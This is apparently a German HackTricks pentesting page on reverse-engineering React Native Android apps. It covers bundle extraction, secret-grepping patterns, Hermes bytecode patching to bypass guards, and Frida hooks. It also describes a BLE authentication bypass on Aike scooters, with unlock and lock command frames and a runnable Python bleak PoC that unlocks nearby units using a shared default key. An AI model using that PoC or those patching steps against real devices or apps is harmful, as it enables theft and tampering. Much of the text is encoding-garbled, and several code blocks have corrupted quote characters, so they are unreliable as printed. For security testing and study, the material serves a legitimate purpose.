React Native Application Analysis
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Um zu bestÀtigen, ob die Anwendung mit dem React Native Framework erstellt wurde, gehen Sie wie folgt vor:
-
Benennen Sie die APK-Datei mit der Endung .zip um und entpacken Sie sie in einen neuen Ordner mit dem Befehl
cp com.example.apk example-apk.zipundunzip -qq example-apk.zip -d ReactNative. -
Wechseln Sie in den neu erstellten ReactNative-Ordner und suchen Sie den assets-Ordner. In diesem Ordner sollten Sie die Datei
index.android.bundlefinden, die das React-JavaScript in minifiziertem Format enthÀlt. -
Verwenden Sie den Befehl
find . -print | grep -i ".bundle$"um die JavaScript-Datei zu suchen.
Hinweis: Wenn Ihnen ein Android App Bundle (.aab) anstelle einer APK gegeben wird, erzeugen Sie zuerst eine Universal-APK und extrahieren dann das Bundle:
# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite
# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/
Javascript-Code
Wenn Sie den Inhalt der index.android.bundle ĂŒberprĂŒfen, finden Sie den JavaScript-Code der Anwendung (auch wenn er minified ist). Sie können ihn analysieren, um sensible Informationen und Schwachstellen zu finden.
Da das Bundle tatsÀchlich den gesamten JS-Code der Anwendung enthÀlt, ist es möglich, es mit dem Tool react-native-decompiler in verschiedene Dateien aufzuteilen (was das Reverse Engineering potenziell erleichtert).
Webpack
Um den JavaScript-Code weiter zu analysieren, können Sie die Datei auf https://spaceraccoon.github.io/webpack-exploder/ hochladen oder folgenden Schritten folgen:
- Erstellen Sie eine Datei namens
index.htmlim selben Verzeichnis mit folgendem Code:
<script src="./index.android.bundle"></script>
-
Ăffne die Datei
index.htmlin Google Chrome. -
Ăffne die Developer Toolbar, indem du Command+Option+J for OS X oder Control+Shift+J for Windows drĂŒckst.
-
Klicke in der Developer Toolbar auf âSourcesâ. Du solltest eine JavaScript-Datei sehen, die in Ordner und Dateien aufgeteilt ist und das Hauptbundle bildet.
Wenn du eine Datei namens index.android.bundle.map findest, kannst du den Quellcode im unminified Format analysieren. Map-Dateien enthalten source mapping, das es erlaubt, minifizierte Bezeichner zuzuordnen.
Um nach sensiblen credentials und endpoints zu suchen, befolge diese Schritte:
-
Identifiziere sensitive SchlĂŒsselwörter, um den JavaScript-Code zu analysieren. React Native applications nutzen hĂ€ufig Drittanbieter-Services wie Firebase, AWS S3 service endpoints, private keys usw.
-
In diesem speziellen Fall wurde beobachtet, dass die Anwendung den Dialogflow service verwendet. Suche nach einem Pattern im Zusammenhang mit dessen Konfiguration.
-
GlĂŒcklicherweise wurden wĂ€hrend des recon-Prozesses sensible hard-coded credentials im JavaScript-Code gefunden.
Quick secrets/endpoint hunting in bundles
Diese einfachen greps bringen oft interessante Indikatoren zutage, selbst in minifizierten JS:
# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"
# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"
# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"
# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"
# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
If you suspect Over-The-Air update frameworks, also hunt for:
- Microsoft App Center / CodePush deployment keys
- Expo EAS Updates configuration (
expo-updates,expo\.io, signing certs)
JS-Code Àndern und neu bauen
In diesem Fall ist das Ăndern des Codes einfach. Du musst nur die App so umbenennen, dass sie die Erweiterung .zip verwendet, und sie dann entpacken. AnschlieĂend kannst du den JS-Code innerhalb dieses Bundles modifizieren und die App neu bauen. Das sollte ausreichen, um dir zu erlauben, inject code in der App fĂŒr Testzwecke durchzufĂŒhren.
Hermes bytecode
Wenn das Bundle Hermes bytecode enthÀlt, wirst du nicht in der Lage sein, auf den Javascript-Code der App zuzugreifen (nicht einmal auf die minified-Version).
Du kannst prĂŒfen, ob das Bundle Hermes bytecode enthĂ€lt, indem du den folgenden Befehl ausfĂŒhrst:
file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96
Du kannst jedoch die Tools hbctool, aktualisierte Forks von hbctool, die neuere Bytecode-Versionen unterstĂŒtzen, hasmer, hermes_rs (Rust-Bibliothek/APIs) oder hermes-dec verwenden, um disassemble the bytecode und auch decompile it to some pseudo JS code. Zum Beispiel:
# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm ./hasm_out ./index.android.bundle
# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out
# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
Tipp: Das Open-Source-Projekt Hermes liefert in bestimmten Releases auch Developer-Tools wie hbcdump. Wenn du die passende Hermes-Version baust, die zur Erstellung des Bundles verwendet wurde, kann hbcdump Funktionen, String-Tabellen und bytecode fĂŒr eine tiefere Analyse dumpen.
Code Àndern und neu bauen (Hermes)
Idealerweise solltest du den disassemblierten Code Àndern können (z. B. einen Vergleich oder einen Wert) und dann den bytecode neu bauen und die App neu erstellen.
- Das originale hbctool unterstĂŒtzt das Disassemblieren des Bundles und das ZurĂŒckbauen nach Ănderungen, unterstĂŒtzte historisch jedoch nur Ă€ltere bytecode-Versionen. Community-gepflegte Forks erweitern die UnterstĂŒtzung auf neuere Hermes-Versionen (including mid-80sâ96) und sind oft die praktischste Option, um moderne RN-Apps zu patchen.
- Das Tool hermes-dec unterstĂŒtzt nicht das Neuaufbauen des bytecode (decompiler/disassembler only), ist aber sehr hilfreich, um Logik zu durchsuchen und Strings zu dumpen.
- Das Tool hasmer zielt darauf ab, sowohl Disassembly als auch Assembly fĂŒr mehrere Hermes-Versionen zu unterstĂŒtzen; Assembly reift noch, ist aber einen Versuch auf aktuellem bytecode wert.
Ein minimaler Workflow mit hbctool-Ă€hnlichen Assemblern:
# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm
# 2) Edit a guard or feature flag (example: force boolean true)
# In the relevant .hasm, replace a LoadConstUInt8 0 with 1
# or change a conditional jump target to bypass a check.
# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle
# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)
Beachte, dass das Hermes-Bytecode-Format versioniert ist und der Assembler exakt dem on-disk-Format entsprechen muss. Wenn du Formatfehler erhÀltst, wechsel zu einem aktualisierten Fork/Alternativprojekt oder baue die passenden Hermes-Tools neu.
Dynamische Analyse
Eine Möglichkeit, die App dynamisch zu analysieren, ist Frida zu verwenden, um den Entwicklermodus der React-App zu aktivieren und react-native-debugger anzuhĂ€ngen. Allerdings brauchst du dafĂŒr offenbar den Quellcode der App. Mehr Informationen dazu findest du unter https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.
Enabling Dev Support in release with Frida (caveats)
Einige Apps liefern versehentlich Klassen mit, die Dev Support umschaltbar machen. Falls vorhanden, kannst du versuchen, getUseDeveloperSupport() dazu zu zwingen, true zurĂŒckzugeben:
// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});
Warnung: In ordnungsgemÀà gebauten Release-Builds werden DevSupportManagerImpl und zugehörige nur fĂŒr Debugging bestimmte Klassen entfernt, und das Umschalten dieses Flags kann die App zum Absturz bringen oder keine Wirkung haben. Wenn das funktioniert, kann man typischerweise das Dev-Menu sichtbar machen und Debugger/Inspectoren anhĂ€ngen.
Netzwerk-Abfangen in RN-Apps
React Native Android verlĂ€sst sich typischerweise auf OkHttp unter der Haube (ĂŒber das Networking native module). Um Traffic auf einem nicht-gerooteten GerĂ€t wĂ€hrend dynamischer Tests abzufangen/zu beobachten:
- Verwende Systemproxy und vertraue der User-CA oder nutze andere generische Android TLS-Bypass-Techniken.
- RN-spezifischer Tipp: Wenn die App Flipper irrtĂŒmlich im Release bĂŒndelt (Debug-Tooling), kann das Flipper Network plugin Anfragen/Antworten offenlegen.
FĂŒr generische Android-Abfang- und Pinning-Bypass-Techniken siehe:
Make APK Accept CA Certificate
Runtime-GATT-Protokollerkennung mit Frida (Hermes-freundlich)
Wenn Hermes-Bytecode eine einfache statische Inspektion des JS blockiert, hook the Android BLE stack stattdessen. android.bluetooth.BluetoothGatt und BluetoothGattCallback machen alles sichtbar, was die App sendet/empfĂ€ngt, sodass du proprietĂ€re Challenge-Response- und Command-Frames rĂŒckentwickeln kannst, ohne JS-Quellcode.
Frida GATT logger (UUID + hex/ASCII dumps)
```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');G.writeCharacteristic.overload(âandroid.bluetooth.BluetoothGattCharacteristicâ).implementation = function (c) {
console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload(âandroid.bluetooth.BluetoothGattCharacteristicâ,â[Bâ,âintâ).implementation = function (c,v,t) {
console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload(âandroid.bluetooth.BluetoothGattâ,âintâ,âintâ).implementation = function (g,s,n) {
console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload(âandroid.bluetooth.BluetoothGattâ,âandroid.bluetooth.BluetoothGattCharacteristicâ,âintâ).implementation = function (g,c,s) {
var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload(âandroid.bluetooth.BluetoothGattâ,âandroid.bluetooth.BluetoothGattCharacteristicâ).implementation = function (g,c) {
var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
</details>
Hook `java.security.MessageDigest`, um hash-basierte Handshakes zu fingerprinten und die exakte Eingabenkonkatenation zu erfassen:
<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
Ein realer BLE-Ablauf, der auf diese Weise rekonstruiert wurde:
- Challenge von
00002556-1212-efde-1523-785feabcd123auslesen. - Berechne
response = SHA1(challenge || key), wobei der key ein 20-Byte-Default 0xFF war, der auf allen GerÀten provisioniert wurde. - Schreibe die response an
00002557-1212-efde-1523-785feabcd123, dann sende Befehle an0000155f-1212-efde-1523-785feabcd123.
Sobald authentifiziert, waren die Befehle 10-Byte-Frames an ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Beispiele: entriegeln 00 D4 00 01 00 00 00 00 00 00, verriegeln ...02..., Eco-Modus an ...03...01..., Batteriefach öffnen ...04.... Benachrichtigungen kamen auf 0000155e-1212-efde-1523-785feabcd123 an (2-Byte-Register + payload), und Registerwerte konnten abgefragt werden, indem man die Register-ID an 00001564-1212-efde-1523-785feabcd123 schrieb und dann von ...155f... zurĂŒcklas.
Bei einem gemeinsamen/Standard-SchlĂŒssel bricht das Challenge-Response-Verfahren zusammen. Jeder in der NĂ€he befindliche Angreifer kann den Digest berechnen und privilegierte Befehle senden. Ein minimales bleak PoC:
Python (bleak) BLE-Auth + Entriegeln ĂŒber Standard-SchlĂŒssel
```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"def filt(d,_): return d.name and d.name in [âAIKEâ,âAIKE_Tâ,âAIKE_11â] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + bâ\xffâ*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(â00 d4 00 01 00 00 00 00 00 00â), response=False) await asyncio.sleep(0.5) asyncio.run(main())
</details>
## Aktuelle Probleme in beliebten RNâBibliotheken (worauf zu achten)
Beim Audit von DrittanbieterâModulen, die im JS bundle oder in nativen libs sichtbar sind, auf bekannte vulns prĂŒfen und Versionen in `package.json`/`yarn.lock` verifizieren.
- react-native-mmkv (Android): Versionen vor 2.11.0 haben den optionalen encryption key in die Android-Logs geschrieben. Wenn ADB/logcat verfĂŒgbar ist, könnten secrets ausgelesen werden. Sicherstellen, dass Version >= 2.11.0 verwendet wird. Indikatoren: Nutzung von `react-native-mmkv`, Logausgaben, die MMKV init with encryption erwĂ€hnen. CVE-2024-21668.
- react-native-document-picker: Versionen < 9.1.1 waren anfĂ€llig fĂŒr path traversal auf Android (Dateiauswahl), behoben in 9.1.1. Validiere Eingaben und die Library-Version.
Schnelle Checks:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock
Referenzen
- https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7
- https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications
- https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf
- CVE-2024-21668 - react-native-mmkv protokolliert den VerschlĂŒsselungsschlĂŒssel auf Android (NVD)
- hbctool (und Forks) fĂŒr Hermes assemble/disassemble
- Ăike BLE authentication bypass: standardmĂ€Ăiger BLE-PrivatschlĂŒssel ermöglicht das Entsperren beliebiger nahegelegener Scooter
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


